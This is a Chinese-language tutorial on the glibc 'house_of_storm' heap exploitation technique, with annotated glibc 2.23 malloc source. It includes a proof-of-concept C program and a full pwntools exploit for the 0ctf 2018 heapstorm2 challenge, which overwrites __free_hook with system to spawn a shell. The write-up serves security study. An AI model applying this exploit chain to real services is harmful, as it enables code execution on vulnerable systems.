house_of_storm

漏洞危害

House_of_storm 可以在任意地址写出chunk地址,进而把这个地址的高位当作size,可以进行任意地址分配chunk,也就是可以造成任意地址写的后果,危害十分之大。 House_of_storm 虽然危害之大,但是其条件也是非常的苛刻。

漏洞利用条件

  1. glibc版本小于2.30,因为2.30之后加入了检查
  2. 需要攻击者在 large_binunsorted_bin 中分别布置一个chunk 这两个chunk需要在归位之后处于同一个 largebin 的index中且 unsorted_bin 中的chunk要比 large_bin 中的大
  3. 需要 unsorted_bin 中的 bk指针 可控
  4. 需要 large_bin 中的 bk指针和bk_nextsize 指针可控

原理及源码分析

漏洞发生在unsorted_bin的chunk放入largebin的过程中,以下是glibc2.23的源码分析。

  1. //#define unsorted_chunks(M) (bin_at (M, 1))
  2. //如果unsorted bins不为空,从尾到头遍历unsorted bin中的每个chunk
  3. while ((victim = unsorted_chunks(av)->bk) != unsorted_chunks(av))
  4. {
  5. bck = victim->bk;//取出unsorted的尾部的chunk
  6. /*
  7. 检查当前遍历的 chunk 是否合法,chunk 的大小不能小于等于 2 * SIZE_SZ,
  8. 也不能超过 该分配区总的内存分配量。然后获取 chunk 的大小并赋值给 size。
  9. 这里的检查似乎有点小问题,直接使用了 victim->size,但 victim->size
  10. 中包含了相关的标志位信息,使用 chunksize(victim) 才比较合理,但在
  11. unsorted bin 中的空闲 chunk 的所有标志位都清零了,所以这里直接
  12. victim->size 没有问题。
  13. */
  14. if (__builtin_expect(victim->size <= 2 * SIZE_SZ, 0)
  15. || __builtin_expect(victim->size > av->system_mem, 0))
  16. malloc_printerr(check_action, "malloc(): memory corruption",
  17. chunk2mem(victim), av);
  18. size = chunksize(victim);//获取victim的size
  19. /*
  20. 如果要申请的大小在smallbin范围 且 unsorted chunks 只有一个chunk,且
  21. victim是last_remainder 且 victim的size大于请求的chunk的大小nb加上
  22. (MINSIZE)最小chunk的size,那么就切割remainder,然后返回victim。
  23. last_remainder 是一个 chunk 指针,分配区上次分配 small chunk 时,
  24. 从一个 chunk 中分 裂出一个 small chunk 返回给用户,分裂后的剩余部分
  25. 形成一个 chunk,last_remainder 就是 指向的这个 chunk。
  26. */
  27. if (in_smallbin_range(nb) &&
  28. bck == unsorted_chunks(av) &&
  29. victim == av->last_remainder &&
  30. (unsigned long) (size) > (unsigned long) (nb + MINSIZE)) {
  31. //分割remainder
  32. remainder_size = size - nb;//计算分割后剩下的size
  33. remainder = chunk_at_offset(victim, nb);//获取remainder的地址
  34. //把remainder加入unsorted bin中
  35. unsorted_chunks(av)->bk = unsorted_chunks(av)->fd = remainder;
  36. av->last_remainder = remainder; // 设置last_remainder为remainder
  37. remainder->bk = remainder->fd = unsorted_chunks(av);
  38. //如果是remainder在large bin的范围,则把fd_nextsize,fd_nextsize清零
  39. if (!in_smallbin_range(remainder_size)) {
  40. remainder->fd_nextsize = NULL;
  41. remainder->fd_nextsize = NULL;
  42. }
  43. //设置victim的size
  44. set_head(victim, nb | PREV_INUSE |
  45. (av != &main_arena ? NON_MAIN_ARENA : 0));
  46. //设置remainder的size
  47. set_head(remainder, remainder_size | PREV_INUSE);
  48. //设置remainder的物理相邻的下一个chunk的prev_size
  49. set_foot(remainder, remainder_size);
  50. check_malloced_chunk(av, victim, nb);//默认不做任何操作
  51. void *p = chunk2mem(victim);//将chunk指针转化为mem指针
  52. alloc_perturb(p, bytes);//将p的mem部分全部设置为bytes ,默认什么也不做
  53. return p;
  54. }
  55. //把victim从unsorted bin 中移除
  56. unsorted_chunks(av)->bk = bck;
  57. bck->fd = unsorted_chunks(av);
  58. //如果 victim 的size 与申请的size相等,那么就返回其。
  59. if (size == nb) {
  60. //设置victim物理相邻的下一个chunk的prev_inuse位
  61. set_inuse_bit_at_offset(victim, size);
  62. //如果av不是main_arena 也就是说如果不是主进程,设置NON_MAIN_ARENA位
  63. if (av != &main_arena)
  64. victim->size |= NON_MAIN_ARENA;
  65. check_malloced_chunk(av, victim, nb); // 默认不做任何操作
  66. void *p = chunk2mem(victim);//把chunk转换为mem指针
  67. alloc_perturb(p, bytes);//将p的mem部分全部设置为bytes ,默认什么也不做
  68. return p;
  69. }
  70. //如果上一步取出的chunk没有匹配成功,那么将该chunk放入对应的bin中
  71. //如果在smallbin的范围,则放到对应多small bin中
  72. if (in_smallbin_range(size))
  73. {
  74. victim_index = smallbin_index(size);//获取size对应的smallbin的index
  75. bck = bin_at(av, victim_index);//bck指向size对应的smallbin的链表头
  76. //fwd指向size对应的smallbin的链表中的新加入的chunk(small bin使用头插法)
  77. fwd = bck->fd;
  78. }
  79. else//如果不再smallbin的范围,也就是说在large bin 的范围
  80. {
  81. victim_index = largebin_index(size);//获取size对应的large bin的index
  82. bck = bin_at(av, victim_index);//bck指向size对应的large bin的链表头
  83. fwd = bck->fd;//fwd指向size对应的large bin的链表中的新加入的chunk
  84. //如果large bin 非空,在largbin进行按顺序插入
  85. if (fwd != bck) {
  86. /* Or with inuse bit to speed comparisons */
  87. size |= PREV_INUSE;
  88. assert((bck->bk->size & NON_MAIN_ARENA) == 0);//默认不启用assert
  89. /*
  90. large bin中的chunk是按从大到小排列的,如果size < large bin
  91. 的最后一个chunk,说明size是这个large bin中的最小的,我们把它
  92. 加入到此large bin尾部。
  93. */
  94. if ((unsigned long) (size) < (unsigned long) (bck->bk->size)) {
  95. fwd = bck;
  96. bck = bck->bk;
  97. /*
  98. large bin 中size最小的chunk的fd_nextsize会指向size最大的
  99. 那个chunk,也就是首部的chunk。同样,large bin 中size最大的
  100. chunk的bk_nextsize会指向size最小的那个chunk。
  101. victim的bk_nextsize指向large bin原来最小的chunk,它的
  102. bk_nextsize指向最大的那个chunk。那么原来的最小的就成了第二小的了。
  103. 把它fd_nextsize和bk_nextsize都修正。
  104. */
  105. victim->fd_nextsize = fwd->fd;
  106. victim->bk_nextsize = fwd->fd->bk_nextsize;
  107. //最大size的chunk的bk_nextsize,和原来最小chunk的bk_nextsize都指向victim
  108. fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
  109. }
  110. else //如果victim不是large bin 中最小的chunk
  111. {
  112. assert((fwd->size & NON_MAIN_ARENA) == 0);//默认不启用assert
  113. //从大到小(从头到尾)找到合适的位置
  114. while ((unsigned long) size < fwd->size) {
  115. fwd = fwd->fd_nextsize;
  116. assert((fwd->size & NON_MAIN_ARENA) == 0);
  117. }
  118. //如果size刚好相等,就直接加入到其后面省的改fd_nextsize和bk_nextsize了
  119. if ((unsigned long) size == (unsigned long) fwd->size)
  120. fwd = fwd->fd;
  121. else
  122. {
  123. //size不相等,即size>fwd->size,把victim加入到纵向链表中
  124. victim->fd_nextsize = fwd;
  125. victim->bk_nextsize = fwd->bk_nextsize;
  126. fwd->bk_nextsize = victim;
  127. victim->bk_nextsize->fd_nextsize = victim;
  128. }
  129. bck = fwd->bk;
  130. }
  131. }
  132. else //如果large bin 为空,将victim加入到纵向列表
  133. victim->fd_nextsize = victim->bk_nextsize = victim;
  134. }
  135. //#define mark_bin(m, i) ((m)->binmap[idx2block (i)] |= idx2bit (i))
  136. mark_bin(av, victim_index); //把victim加入到的bin的表示为非空
  137. //把victim加入到large bin的链表中
  138. victim->bk = bck;
  139. victim->fd = fwd;
  140. fwd->bk = victim;
  141. bck->fd = victim;
  142. }

我们把关键部分拿出来再来看一看,我了方便看部分代码有改动,我们将unsorted_chunk

  1. //我们控制unsorted_chunk->bk = fake_chunk
  2. //unsorted_chunks(av)->bk = fake_chunk
  3. unsorted_chunks(av)->bk = unsorted_chunk->bk;
  4. //fake_chunk+0x10 = unsorted_bin
  5. bck->fd = unsorted_chunks(av);
  1. else
  2. {
  3. /*
  4. 如果unsorted_chunk->size 大于 largbin_chunk->size,
  5. 把unsorted_chunk加入到纵向链表中
  6. 我们控制
  7. large_chunk->bk = fake_chunk+0x8
  8. large_chunk->bk_nextsize=fake_chunk-0x18-5
  9. */
  10. unsorted_chunk->fd_nextsize = largbin_chunk;
  11. //unsorted_chunk->bk_nextsize = fake_chunk-0x18-5
  12. unsorted_chunk->bk_nextsize = largbin_chunk->bk_nextsize;
  13. largbin_chunk->bk_nextsize = unsorted_chunk;
  14. //fake_chunk+0x3 = unsorted_chunk
  15. unsorted_chunk->bk_nextsize->fd_nextsize = unsorted_chunk;
  16. }
  17. //bck = fake_chunk+0x8
  18. bck = largbin_chunk->bk;
  19. }
  20. }
  21. mark_bin(av, unsorted_chunk_index); //把unsorted_chunk加入到的bin的表示为非空
  22. //把unsorted_chunk加入到large bin的链表中
  23. unsorted_chunk->bk = bck;
  24. unsorted_chunk->fd = largbin_chunk;
  25. largbin_chunk->bk = unsorted_chunk;
  26. //fake_chunk+0x18 = unsorted_chunk
  27. bck->fd = unsorted_chunk;

主要改写就一下4个地方

  1. unsorted_bin->bk = fake_chunk #把fake_chunk链到了unsorted_bin中
  2. fake_chunk+0x10 = unsorted_bin #伪造fake_chunk的fd
  3. fake_chunk+0x3 = unsorted_chunk #伪造fake_chunk的size
  4. fake_chunk+0x18 = unsorted_chunk #伪造fake_chunk的bk

通过以上4步,我们成功伪造一个合法的fake_chunk,满足unsorted bin的要求,并把它链到了unsorted bin中

例子

  1. // gcc -ggdb -fpie -pie -o house_of_storm house_of_storm.c
  2. #include <stdlib.h>
  3. #include <stdio.h>
  4. #include <string.h>
  5. struct {
  6. unsigned long presize;
  7. unsigned long size;
  8. unsigned long fd;
  9. unsigned long bk;
  10. unsigned long fd_nextsize;
  11. unsigned long bk_nextsize;
  12. }chunk;
  13. int main()
  14. {
  15. unsigned long *large_chunk,*unsorted_chunk;
  16. unsigned long *fake_chunk = (unsigned long *)&chunk;
  17. char *ptr;
  18. unsorted_chunk=malloc(0x418);
  19. malloc(0X20);
  20. large_chunk=malloc(0x408);
  21. malloc(0x20);
  22. free(large_chunk);
  23. free(unsorted_chunk);
  24. unsorted_chunk=malloc(0x418); //large_chunk归位
  25. free(unsorted_chunk); // unsorted_chunk归位
  26. //重点一下3步
  27. unsorted_chunk[1] = (unsigned long )fake_chunk;
  28. large_chunk[1] = (unsigned long )fake_chunk+8;
  29. large_chunk[3] = (unsigned long )fake_chunk-0x18-5;
  30. ptr=malloc(0x48);
  31. strncpy(ptr, "/bin/sh\x00", 0x10);
  32. system(((char *)fake_chunk + 0x10));
  33. return 0;
  34. }

所以当我们申请的size和0x56经过对齐后相等的话,那么就可以拿到任意的chunk。

0x55 : 1010101

0x56 : 1010110

__int_malloc在拿到chunk后返回到__libc_malloc__libc_malloc会对chunk的进行检查,这里如果有错的话会直接crash,但是由于程序有随机化,多运行几次总能有一次成功的。

  1. /*
  2. #define arena_for_chunk(ptr) \
  3. (chunk_non_main_arena (ptr) ? heap_for_ptr (ptr)->ar_ptr : &main_arena)
  4. 过以下检测需要满足的要求,只需满足一条即可
  5. 1. victim 为 0
  6. 2. IS_MMAPPED 为 1
  7. 3. NON_MAIN_ARENA 为 0
  8. */
  9. assert(!victim || chunk_is_mmapped(mem2chunk(victim))
  10. || ar_ptr == arena_for_chunk(mem2chunk(victim)));

0ctf_2018_heapstorm2

首先检查保护

IDA 分析,标准的增删改查

__init函数

  1. 禁用的fastbin
  2. 在0x133700处 mmap出了一片空间作为heaparray
  3. 读入了3个随机数,第四4个和第3个一样,我们记作r1,r2,r3,r4
  4. 初始化后面的地址,用r1异或0 作为ptr的值,r2异或0作为size值,我们之后的ptr都是通过xor r1得到的,size都是 xor r2得到的

add函数

  1. 找到第一个size为0的,然后根据输入的size(12<size<0x1000)calloc ,然后在heaparray中填入相应的值。

edit函数

  1. 读入的数据+12要小于等于申请时写的size,我们读入的数据会追加上一个12字节字符串再加上一个0结尾,所以存在off_by_null但是prev_size无法控制。

delete 函数

  1. 看上去挺正常的

show 函数

  1. 要满足r2 xor r3 = 0x13377331才可以show,所以我们要想办法控制heaparray的内容才能show

综上:

  1. 存在 off_by_null 漏洞
  2. 申请的大小在 12~0x1000,使用的是calloc
  3. 目前不能show
  4. gibc用的是2.23

我们可以考虑使用house_of_storm,因为我们知道heaparray的地址,并且我们house_of_storm可以实现任意地址申请chunk,这样我们就能控制r3,r4的值,使得show可以使用

  1. #coding:utf-8
  2. from pwn import *
  3. context.log_level = 'debug'
  4. p = process('./0ctf_2018_heapstorm2')
  5. libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
  6. def add(size):
  7. p.sendlineafter('Command: ','1')
  8. p.sendlineafter('Size: ',str(size)) # 12<size<0x1000
  9. def edit(idx,content):
  10. p.sendlineafter('Command: ','2')
  11. p.sendlineafter('Index: ',str(idx))
  12. p.sendlineafter('Size: ',str(len(content)))
  13. p.sendafter('Content: ',content)
  14. def delete(idx):
  15. p.sendlineafter('Command: ','3')
  16. p.sendlineafter('Index: ',str(idx))
  17. def show(idx):
  18. p.sendlineafter('Command: ','4')
  19. p.sendlineafter('Index: ',str(idx))
  20. #---------------布置chunk-------------------------#
  21. add(0x18)#0 off_by_null修改1size
  22. add(0x508)#1
  23. add(0x18)#2
  24. #---------------
  25. add(0x18)#3 off_by_null修改4size
  26. add(0x508)#4
  27. add(0x18)#5
  28. #---------------
  29. add(0x18)#6 防止合并到top_chunk
  30. #----------------准备 unsorted chunk-----------------------#
  31. edit(1,'\x00'*0x4F0+p64(0x500)) #伪造chunk
  32. delete(1)
  33. edit(0,'\x00'*(0x18-12)) #修改chunk1的size, 0x511->0x500
  34. add(0x18) #1
  35. add(0x4d8) #7 把0x500用完
  36. delete(1)
  37. delete(2) #1-2 合并 这是就存在堆重叠
  38. add(0x38)#1
  39. add(0x4e8)#2 chunk7content指向chunk2chunk-0x10位置处,我们可以实现控制unsorted chunk
  40. #-------------------准备 large chunk-----------------------------------#
  41. edit(4,'\x00'*0x4F0+p64(0x500))#伪造chunk
  42. delete(4)
  43. edit(3,'\x00'*(0x18-12)) #修改chunk4的size, 0x511->0x500
  44. add(0x18) #4
  45. add(0x4d8) #8 把0x500用完
  46. delete(4)
  47. delete(5) #4-5 合并 这是就存在堆重叠
  48. add(0x48)#4 此时unsorted bin中剩下一个0x4e1大小的chunk,且与8重叠,我们可以实现控制large chunk
  49. #---------------unsorted chunk 和 large chunk 放到对应位置----------------------#
  50. delete(2)
  51. add(0x4e8) #把0x4e1的chunk放入到largebin中
  52. delete(2) #把0x4F1的chunk放入到unsorted bin中
  53. #--------------修改他们是的满足条件进行 house of strom------------------------------#
  54. fake_chunk = 0x13370800 - 0x20
  55. payload = '\x00' * 0x10 + p64(0) + p64(0x4f1) + p64(0) + p64(fake_chunk)
  56. edit(7, payload) #修改unsorted chunk的bk
  57. payload = '\x00' * 0x20 + p64(0) + p64(0x4e1) + p64(0) + p64(fake_chunk+8) + p64(0) + p64(fake_chunk-0x18-5)
  58. edit(8, payload) #修改 large chunk 的 bk 和 bk_nextsize
  59. add(0x48) #2 -> 0x133707e0 成功将申请到了heaparray附近
  60. #-----------------------泄漏 libc----------------------------------#
  61. #由于bins中的chunk的fd,bk指向libc的地址,我们先要泄漏heap的地址
  62. payload = p64(0)*6 + p64(0x13370800)
  63. edit(2, payload) #修改了r0~r4为0,并且修改了chunk0的地址,此时的chunk0的size非常大,因为异或的是0
  64. payload = p64(0)*3 +p64(0x13377331) #满足show的条件
  65. payload += p64(0x13370800) + p64(0x1000) #chunk0
  66. payload += p64(fake_chunk+3) + p64(8) #chunk1
  67. edit(0, payload) #满足show的条件
  68. show(1) #我们刚刚house of storm 写的地址泄漏出来
  69. p.recvuntil("]: ")
  70. heap = u64(p.recv(6).ljust(8, '\x00'))
  71. success("heap:"+hex(heap))
  72. payload = p64(0)*3 + p64(0x13377331)#满足show的条件
  73. payload += p64(0x13370800) + p64(0x1000) #chunk0
  74. payload += p64(heap+0x10) + p64(8) #chunk1
  75. edit(0, payload)
  76. show(1) #泄漏libc地址
  77. p.recvuntil("]: ")
  78. malloc_hook = u64(p.recv(6).ljust(8, '\x00')) -0x58 - 0x10
  79. libc_base = malloc_hook - libc.sym['__malloc_hook']
  80. free_hook = libc_base+libc.sym['__free_hook']
  81. system = libc_base+ libc.sym['system']
  82. success("free_hook:"+hex(free_hook))
  83. #--------------修改 free_hook -----------------------------------#
  84. payload = p64(0)*4
  85. payload += p64(free_hook) + p64(0x100)#chunk0
  86. payload += p64(0x13370800+0x40) + p64(8)#chunk1
  87. payload += '/bin/sh\x00'
  88. edit(0, payload)
  89. edit(0, p64(system))
  90. delete(1)
  91. p.interactive()

house_of_storm 详解的更多相关文章

  1. Linq之旅:Linq入门详解(Linq to Objects)

    示例代码下载:Linq之旅:Linq入门详解(Linq to Objects) 本博文详细介绍 .NET 3.5 中引入的重要功能:Language Integrated Query(LINQ,语言集 ...

  2. 架构设计:远程调用服务架构设计及zookeeper技术详解(下篇)

    一.下篇开头的废话 终于开写下篇了,这也是我写远程调用框架的第三篇文章,前两篇都被博客园作为[编辑推荐]的文章,很兴奋哦,嘿嘿~~~~,本人是个很臭美的人,一定得要截图为证: 今天是2014年的第一天 ...

  3. EntityFramework Core 1.1 Add、Attach、Update、Remove方法如何高效使用详解

    前言 我比较喜欢安静,大概和我喜欢研究和琢磨技术原因相关吧,刚好到了元旦节,这几天可以好好学习下EF Core,同时在项目当中用到EF Core,借此机会给予比较深入的理解,这里我们只讲解和EF 6. ...

  4. Java 字符串格式化详解

    Java 字符串格式化详解 版权声明:本文为博主原创文章,未经博主允许不得转载. 微博:厉圣杰 文中如有纰漏,欢迎大家留言指出. 在 Java 的 String 类中,可以使用 format() 方法 ...

  5. Android Notification 详解(一)——基本操作

    Android Notification 详解(一)--基本操作 版权声明:本文为博主原创文章,未经博主允许不得转载. 微博:厉圣杰 源码:AndroidDemo/Notification 文中如有纰 ...

  6. Android Notification 详解——基本操作

    Android Notification 详解 版权声明:本文为博主原创文章,未经博主允许不得转载. 前几天项目中有用到 Android 通知相关的内容,索性把 Android Notificatio ...

  7. Git初探--笔记整理和Git命令详解

    几个重要的概念 首先先明确几个概念: WorkPlace : 工作区 Index: 暂存区 Repository: 本地仓库/版本库 Remote: 远程仓库 当在Remote(如Github)上面c ...

  8. Drawable实战解析:Android XML shape 标签使用详解(apk瘦身,减少内存好帮手)

    Android XML shape 标签使用详解   一个android开发者肯定懂得使用 xml 定义一个 Drawable,比如定义一个 rect 或者 circle 作为一个 View 的背景. ...

  9. Node.js npm 详解

    一.npm简介 安装npm请阅读我之前的文章Hello Node中npm安装那一部分,不过只介绍了linux平台,如果是其它平台,有前辈写了更加详细的介绍. npm的全称:Node Package M ...

随机推荐

  1. 1.代码规范之 if 语句编写

    最近在看项目代码的时候, 看到需要判断的地方,出现了if的多重嵌套,  甚至是出现了十几层的嵌套, 代码的阅读性非常之差. 简单的举个例子(这里只是两层的嵌套): public class demo ...

  2. 微信小程序:数据绑定

    data中的数据不仅仅可以当成文本来显示,还可以当成属性来显示. 注意:属性值要用单引号或双引号引起来. 在微信开发者工具的控制台中点击Wxml会看到 使用Boolean类型充当属性的时候,字符串和花 ...

  3. Python 学习笔记(2)

    python 引号 Python 可以使用引号( ' ).双引号( " ).三引号( ''' 或 """ ) 来表示字符串,引号的开始与结束必须是相同类型的. ...

  4. createNewFile() 报错 open failed: ENOENT (No such file or directory) 的解决方案

    在写Android应用中使用createNewFile() 遇到open failed: ENOENT (No such file or directory) 错误,在网上查了许多方法,不过都不能解决 ...

  5. js导出execl 兼容ie Chrome Firefox各种主流浏览器(js export execl)

    第一种导出table布局的表格 1 <html> 2 3 <head> 4 <meta charset="utf-8"> 5 <scrip ...

  6. Chome 88如何正确隐藏 webdriver?

    从 Chrome 88开始,它的 V8 引擎升级了,一些接口发生了改变. 使用 Selenium 调用 Chrome 的时候,只需要增加一个配置参数: chrome_options.add_argum ...

  7. 死磕Spring之IoC篇 - @Autowired 等注解的实现原理

    该系列文章是本人在学习 Spring 的过程中总结下来的,里面涉及到相关源码,可能对读者不太友好,请结合我的源码注释 Spring 源码分析 GitHub 地址 进行阅读 Spring 版本:5.1. ...

  8. Windows-Redis占用C盘系统空间

    发现redis在电脑死机蓝屏的情况下,就是非正常退出redis会导致redis的缓存文件不会回收,占用系统空间, 下次在启动的时候,会再次创建一个10G多的缓存文件,极度占用磁盘空间. 现说明解决办法 ...

  9. 正则表达式如何直接在EXCEL中使用?

    正则表达式,相信大家都不陌生.但在我们最常用的办公软件EXCEL中,目前没有可直接使用正则表达式的函数(至少10版本的EXCEL没有),那么今天我就分享下如何在EXCEL中自定义正则函数. 一.提需求 ...

  10. Java例题_27 100以内的素数

    1 /*27 [程序 27 求素数] 2 题目:求 100 之内的素数 3 */ 4 5 /*分析 6 * 素数:是指在大于1的自然数中,除了1和它本身以外不再有其他因数的自然数. 7 * 同第二题: ...